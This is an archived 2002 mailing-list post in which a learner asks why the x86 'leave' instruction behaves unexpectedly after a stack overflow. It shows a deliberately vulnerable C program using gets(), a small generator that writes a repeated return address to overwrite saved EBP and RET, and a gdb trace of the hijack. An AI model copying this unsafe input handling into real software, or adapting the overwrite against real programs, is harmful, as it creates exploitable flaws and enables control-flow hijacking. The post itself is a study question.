Vulnerability Development mailing list archives

'Leave' behavior after stack overflow.


From: "Vinay A. Mahadik" <vamahadi () anr mcnc org>
Date: Wed, 24 Apr 2002 02:45:22 -0400 (EDT)

Hi,

I was going through Mixter's tutorial on Buffer Overflows and ran into
some unexpected behavior I would like to know the why's of. In what
follows, I overwrite both EBP and RET on the stack with a new instruction
address.(ix86)

# cat blah.c
#define BUF_SIZE 30 // bytes

void lame (void) {
 char small[BUF_SIZE];

 gets (small); // Exploitable user i/p function

 printf("%s\n", small);
}

main() {
 lame ();
 return 0;
}

# cat ret.c
main()
{
 int i=0; char buf[48];
 for (i=0;i<=44;i+=4)
 *(long *) &buf[i] = 0x80484ba;
 puts(buf);
}

# gcc -O2 -ggdb ret.c -o ret

# ./ret > input

# gdb blah
(gdb) break main
Breakpoint 1 at 0x80484ba: file blah.c, line 12.
(gdb) run < input
Starting program: /root/security/bufferoverflows/blah < input

Breakpoint 1, main () at blah.c:12
12       lame ();
(gdb) disas main
Dump of assembler code for function main:
0x80484b4 <main>:       push   %ebp
0x80484b5 <main+1>:     mov    %esp,%ebp
0x80484b7 <main+3>:     sub    $0x8,%esp
0x80484ba <main+6>:     call   0x8048490 <lame>
0x80484bf <main+11>:    xor    %eax,%eax
0x80484c1 <main+13>:    leave
0x80484c2 <main+14>:    ret
End of assembler dump.
(gdb) display /i $pc
1: x/i $eip  0x80484ba <main+6>:        call   0x8048490 <lame>
(gdb) nexti
?'@

Breakpoint 1, main () at blah.c:12
12       lame ();
1: x/i $eip  0x80484ba <main+6>:        call   0x8048490 <lame>
(gdb) nexti
?'@
13       return 0;
1: x/i $eip  0x80484bf <main+11>:       xor    %eax,%eax
(gdb) nexti
14      }
1: x/i $eip  0x80484c1 <main+13>:       leave
(gdb) print /x $ebp
$1 = 0x80484ba
(gdb) print /x $esp
$2 = 0xbffff9c0
(gdb) x /4xb $ebp
0x80484ba <main+6>:     0xe8    0xd1    0xff    0xff
(gdb) nexti
0x080484c2 in main () at blah.c:14
14      }
1: x/i $eip  0x80484c2 <main+14>:       ret
(gdb) print /x $ebp
$3 = 0xffffd1cc
(gdb) print /x $esp
$4 = 0x80484be
(gdb)

----------

What I couldn't get is the effect of the "leave" instruction on $ebp.
Clearly if leave = movl %ebp, %esp & popl %ebp, $ebp should have been
0xffffd1e8 as displayed above right? Where might it be getting that other
address?

Basically, I want to cause the buffer overflow to recall lame() as above
but only without seg faulting later on. (I know the code can be modified
to achieve that) It _is_ seg-faulting with this unexplained new EBP.
Why isn't the EBP picking up the old EBP saved/placed in the immediate 4
upward bytes from the present EBP value? (as it does when the EBP isn't
corrupted)

Could you throw some light on this please? I am new to
assembly/disassembly btw.

Thanks,
Vinay.

--
Vinay A. Mahadik
http://hickory.csc.ncsu.edu/


Current thread: